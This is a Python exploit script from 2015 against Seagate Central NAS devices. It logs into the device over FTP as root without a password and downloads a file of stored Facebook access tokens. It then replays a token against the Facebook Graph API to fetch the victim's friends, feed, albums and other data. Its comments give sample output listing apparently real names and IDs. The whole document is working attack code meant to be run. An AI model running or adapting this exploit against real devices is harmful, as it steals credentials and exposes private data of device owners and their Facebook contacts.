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#!/usr/bin/python # seagate_central_facebook.py # # Seagate Central Remote Facebook Access Token Exploit # # Jeremy Brown [jbrown3264/gmail] # May 2015 # # -Synopsis- # # Seagate Central stores linked Facebook account access tokens in /etc/archive_accounts.ser # and this exploit takes advantage of two bugs: # # 1) Passwordless root login via FTP to retrieve archive_accounts.ser file which contains access tokens # 2) Reuses the unencrypted and unprotected (-rw-r--r--) access tokens for a chosen scope to return data # # -Example- # # > seagate_fb_accounts.py getaccesstoken 1.2.3.4 # # 'archive_accounts.ser' # # a:1:{s:8:"facebook";a:1:{s:29:"user3535@facebook.com";a:5:{s:7:"service";s:8:"facebook";s:4: # "user";s:29:"user3535@facebook.com";s:5:"owner";s:4:"test";s:6:"folder";s:7:"private";s:5:"t # oken";s:186:"CAAxxxxxxxx..." # ;}}} # # Next, try this: # # > seagate_fb_accounts.py CAAxxxxxxxx... friends # server response: # # {'data': [{'name': 'Jessie Taylor', 'id': '100000937485968'}, {'name': 'Kellie Youty', 'id': '1 # 00000359801427'}, {'name': 'Hope Maynard', 'id': '10000102938470'}, {'name': 'Angel Tucker Pole', 'id' # : '100001402808867'}, {'name': 'Malcolm Vance', 'id': '10000284629187'}, {'name': 'Tucker Civile', 'id': # ..... # # Scopes Reference: https://developers.facebook.com/docs/graph-api/reference/v2.1/user # # -Fixes- # # Seagate scheduled updates to go live on April 28th, 2015. # # Tested version: 2014.0410.0026-F # import sys import json from urllib import request # python3 from ftplib import FTP fb_url = "https://graph.facebook.com" fb_filename = "archive_accounts.ser" def getaccesstoken(host): try: ftp = FTP(host) ftp.login("root") ftp.retrbinary("RETR " + "/etc/" + fb_filename, open(fb_filename, 'wb').write) ftp.close() except Exception as error: print("Error: %s" % error) return try: with open(fb_filename, 'r') as file: data = file.read() except Exception as error: print("Error: %s" % error) return print("\n'%s'\n\n%s\n\n" % (fb_filename, data)) return def main(): if(len(sys.argv) < 2): print("Usage: %s <key> <scope> OR getaccesstoken <host>\n" % sys.argv[0]) print("scopes: albums feed friends likes picture posts television") return if(sys.argv[1] == "getaccesstoken"): if(len(sys.argv) == 3): host = sys.argv[2] res = getaccesstoken(host) else: print("Error: need host to retrieve access token file\n") return else: key = sys.argv[1] if(len(sys.argv) == 3): scope = sys.argv[2] else: scope = "" try: response = request.urlopen(fb_url + "/me/" + scope + "?access_token=" + key).read() except Exception as error: print("Error: %s" % error) return data = json.loads(response.decode('utf-8')) print("server response:\n\n%s\n" % data) return if __name__ == "__main__": main() |
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